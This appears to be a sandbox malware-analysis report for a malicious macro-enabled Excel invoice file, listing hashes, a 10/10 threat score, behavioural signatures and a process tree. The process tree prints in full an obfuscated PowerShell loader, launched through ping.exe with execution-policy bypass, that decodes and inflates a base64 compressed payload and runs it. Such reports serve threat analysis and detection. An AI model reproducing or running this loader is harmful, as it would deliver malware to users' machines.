Overview

overview

10

Static

static

INV_509968...8.xlsm

windows7_x64

10

INV_509968...8.xlsm

windows10_x64

10

Analysis

  • max time kernel
    136s
  • max time network
    31s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    24/06/2020, 13:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    INV_509968_Service_31798.xlsm
  • Size 102KB
  • Sample200624-avfeahveqn
  • SHA256 bfee589efb80fccdc2c19e16b54fa19d2a9ee7f5c359e0340cd568dce09f8ecb
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\INV_509968_Service_31798.xlsm
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: GetForegroundWindowSpam
    PID:1432
    • C:\Windows\system32\ping.exe
      ping ;calc.exe 127.0.0.1/../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/pOWERshELL -WiN 01 -ep bypAss -nOnINtEr -noprof "&(\"{0}{1}\" -f'sa','l') (\"{1}{0}\"-f 't',(\"{0}{1}\" -f'c','oun')) (\"{2}{1}{0}{3}\"-f 'e',(\"{0}{1}\" -f '-Ob','j'),'New','ct');si varIable:jT1F0 ([type](\"{1}{2}{0}{3}\"-f 'StEM','S','y','.CoNveRT') ) ;Sv ('71'+'4') ( [TypE](\"{3}{7}{6}{5}{0}{8}{10}{4}{2}{9}{1}\" -f 'om','de','Ionm','SYsTeM','N.cOmPrEsS','C','.','.iO','PReSSi','o','O') ); sV (\"f7Ut\"+\"Rh\") ( [TYpe](\"{2}{3}{1}{0}\"-f'nCOdiNG','T.E','Te','x') ); . ( ([StrINg]${VE`R`BoSe`PRef`ERENCe})[1,3]+'X'-jOiN'')(&(\"{0}{1}\" -f'cou','nt') (\"{1}{2}{3}{0}\" -f'ReAdeR','io','.','sTReAm')( ( &(\"{1}{0}\"-f 'ount','c') (\"{3}{5}{4}{2}{0}{1}\" -f 'estrEa','M','SIoN.dEflAT','SySTEm.i','s','o.COMpre')( [Io.mEMORYsTReaM] ( iTEm VAriABle:Jt1f0 ).vALue::(\"{0}{3}{2}{1}{4}\"-f 'F','se64StriN','mBA','ro','g').Invoke((\"{46}{47}{23}{60}{56}{0}{3}{21}{48}{24}{67}{19}{4}{25}{12}{22}{27}{53}{20}{65}{38}{55}{68}{31}{63}{33}{11}{61}{57}{49}{26}{40}{8}{35}{62}{6}{59}{50}{37}{7}{13}{45}{39}{44}{36}{30}{32}{9}{15}{29}{64}{10}{52}{1}{2}{41}{18}{42}{17}{28}{14}{5}{54}{43}{16}{66}{34}{58}{51}\" -f '4lZ04','oyIio6Y','CWl6k+Q1OHvGFuEXMUP/ojk3ycxyrnnjqZYro6PqTLvfHQ3PE','Z9NISrU','/4rmwSdKXzVilU','arPU3FjYbASLr9JkPow8+9c4RGBXPfAkxpXp+Y9zZ18Xcxna9ns7wz','IaT6zF4Uv+YI+HEniQVs0uHIBunAk','q/wVGKJcmhJkP+QEErrA','EqrSFrlX9D+EKp01p','wcDpkr44HGesE4Kq0u43GGDXbyjrG5KFBM+Ic6jkNCcbJl64D1zcRSMftyssxxzUVAnkS1yZTdHETl0ywsxyCa7d65LHpQ2Ls+/uDbbgxHm/X4tAxxWiCylW2WxU5UfaGquwy8c8O+q','baZRFKWWUaGcQ/ouEl4gbiSM/IdG22lXHY/9','xrO8D5/WGQ','ZqJygo+4sFw2dTz/s8ENP509DFc9Cn4D/V2uC2JT','Sve0i2IXkAv','MU99dtWjOuyW6nG9ZbV8lsieGdQLy/HMrBVK/','Y+oDCkgvgJwmpKF1SH8tFr4iW550Jvqc3oQleLfpeLCBfBsekiUOg4Bb','8IqK/8+TWsRlQ','Un8qqELBQPUKpxZDwPS85h7O','ZOuayksOk/QNDxzJCn2slZXhTF7s0ICoU4HFtgyDcKrx1BMW5Z/qgbM5itnavx31mrxNEMQdwgsmMuOkCwhMzk/g4Sz/07gjCg','86v9xJ7spbeAB6jIAJs9mDvJ09RRx+vsiXbVe2ZC','9tXQTy9bniX3iMrior+uzhdubH7kSV636swmDaUeHcHaio/Lv','GQsh3MfkEyXH9sAKZMX3uLAQ0ng','fCfMkAurFhG593L3J93d9lsuVMz4gx16prBc8pFRcqs6AbBaS2Qhb25G3yo9tuvVlpalsklhxSF4quTi4hrTZ+XhQdxL4DoJmZ/lL1mjf7ppzDtepzz7NhrGKsHsAKFdI','08lAv9/XyQNulkSUiURTdUo+uldCtPHk1uquJvJUT96+iIGLcPnTv','Oy6nAV/GewrIZdW1qK3XdrSA','U88','XJifUl','yTAgL5XqQzpsW7oXmvA0H','F/E6pFX01GuG2gXnt6CcPV8Ktv8Blr+hXiddknsILiTra79mOf5rid7JogpQ8p2WGs3ZEUOwEy0v5GYqGB/sv','mujfn0berSXD9+3FnOJ/rzzrJFdY4eN+QfFW2RtgDBkMnwVQC','MBBW/Jn2bSqJYsc0BcIZXkDohYnttJV8D8','EUgszvLKYgk277GEVszZ/LoO/KA3S6zIuAVF0yn3sIQYgQAs50YVUzFni8ABl5C5529QZo','H+ajqEG1kZolV5qD474cPjY24rWi0O156z1beoVcsLZGQJVEnHm6kbn6rPquH4P0eGk54QKMz','IzyiJQz4T291k+lbYQM','E1dwszyvsFuI6s33j40F99QLiATPS0Qhd7UgPSCuuDOzhV1jPjkxc/ZkMo5Qq1oUP4emQ8HXh9PdrWK/+rZR9dZ8/GHinCedrBOW0E8qP25wUUxT7kJste8RBx+4nHUe6e34FGHJlOzsODCH+ACQanAi+K2abpMO+evj0TpaPJ4RimYoG25/jRSvCAhqc5+BxmrTwJvn','q+cmOwkeeeNGgpWEJaC3IyN9Rrw/ORB5Ct6cVd5qH0QDJn','xZXCUeg7VcODq8YQx','ieELsRbMV7ACw94','rp/Wm7wVJYCbMMw5SPHA0e4jM/0dN40ix2b/J4mxKD7B/5icZTRKqFZ07KCKm8qe5HKdf+UOaGkZHnlLwJrm+AKN3YYJepTF','KC','CriBUGII','kl0D7jhz9m70','gm1guorPiiESVFeTzt/Ut+TGmMih+aYURAqZ/BMb+uxtlw8n3qosx39iHNTyvwnB2tP5TSGU+dEmwkRH2Y+ZgBU6Cy2KhzeBOgdiGMqBhDXSHQJJNXlnl7MiQgw13UJHyGi2xfZgDaq4hZ+eBRHXmzxhrJdDeQdT','CDeX2a2P2c6Typfj7rOdGLlNIa/eyHiZlM1WgaS1p7YNJesbSqWZGiMS','M1WRSZfJ3Sz7SmMAmo8+TICTI9tv7J7OgMyXAP2V/ACmjrmW04qMqbJqSL41OM68vyE8zFdUSieUpJ10FztW3ZLxeW+eqp6rtp5frIZdt3AXjMQKauC9U5WEbMJBWDlAzmmh6ONu5lAzzg+mMHv8ari0VJ','DmAFb0Vp5gQIDvJC53UU31apkK','dVhtV','+LIEv4rmRyvDcPL+DqzR4/nXkR0cQBZQRjX8dyO0GDckDBJQJHt/37rqQ6Q4N0PxpB0Vz1dL09VZTdnL/f','o58onyNrclGj0v1bo0RiB45uXIrCutFLMaDeOdJ5Asr8TCetbLNCez7ctUfR','pT1t/AuMjRN0RVF5dIc4DQxW/xVdK/r0fl488Hx1/zHOADzr+1vdOgg','tUzbZnZK4BFlD1wfF80LNVqoL9a7qczRKsi6ZeUlt6N9+RwYTk4eBxo9y0VCHnYDZ93Ql3fUM2oetTbTIcYIF/zmejkQo77ruy9r8SAOK32Nq3SsqxYAqr9GvmqjhPZXGphgg6pbcoIHUkHDpM+qG','H/Aw==','zt7nVmKWXhgp8hQG','Vn3Zd','MHeHjENxTjaoNxuJiDH','TQauxsPInJ6m9ZE7YvBE4KVo/3GBpOwl','Eg01iF2SE9DfpchDYFH4ZYeXmnW0s0MPI9U8byxEPm9Z+dOd5Z+y8u1WW9aZ9RDft1kla1p+08uvCerlMXRBQHy/EniQyLTEoE5Sy6+4tise6aYFBu9ecmTRApiLmz70x/RXH6r1uj0jBXijRRSvnx+sX7nQKpplunRq1btbHM8V6e3i1vWhHm/KZL5Ty9rNnFuxYjpyzp7Gx3bBPlzYZGULZq','0wIYlDZaIURt','Tw','YiQxHPMzdJWGT35QkKmEYfRYKAfUAAe6d4hdimI8oDWr16ww67045qiLZH7eUHNTp5EfIET/o3c6XT0qTvKfcqtMyLpFo4SlRGys6uS7q','p+rRbD7gzSTiSNtWaSRCUaQX9HQPL/DI','rU','LjGkpV9Xc3W6ZEnapSIRMnDXjj5J06B9NHlO2erHh3ymYLZ/klFtlCr+Iq2PtDGZ2F','M4IOqMsORrLEVVvhW/szsHHTcP','obLMoAq7TE8P45K0','jDz11q0aPtPTHmz4','KV2m+pneli7ZxdM5GdaAsUfU66Ru+/mKxyRP759VO2CzZ8/VqlTQzq/3sp6rBzpeV69pSKbA2/OzRmbbpXL68ZwfzOn','6xq0DLAAE1Ec8aRNlD9/ZrWHpJye9C2WT7EryIwid3LbbMj4m7KI6igKAau083ZE/jC7QJ/hywALxonbGLaCDrZq70cIyEYcVHc1p3zhhIJkIU5Z4L2UtxC4JX6Qe/h652l7+uz/b3P+3sU0PeePhOCbjr6DL/H9Op0NPMpPwLfasqD3M7Slc','pDvtu/Ez/wzR1GupoOUwewDtRiMx6ax7Iv2p2TvRdUaCkkE1dEMPgNcU6pFRtURxcd+6AYSi') ) , ${7`14}::\"d`eCoMprE`Ss\" )) , ( gv (\"f7UT\"+\"rH\") -Va)::\"UT`F8\") ).(\"{1}{2}{0}\" -f 'end','rEAd','TO').Invoke( )"
      2⤵
      • Runs ping.exe
      • Process spawned unexpected child process
      PID:1812

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads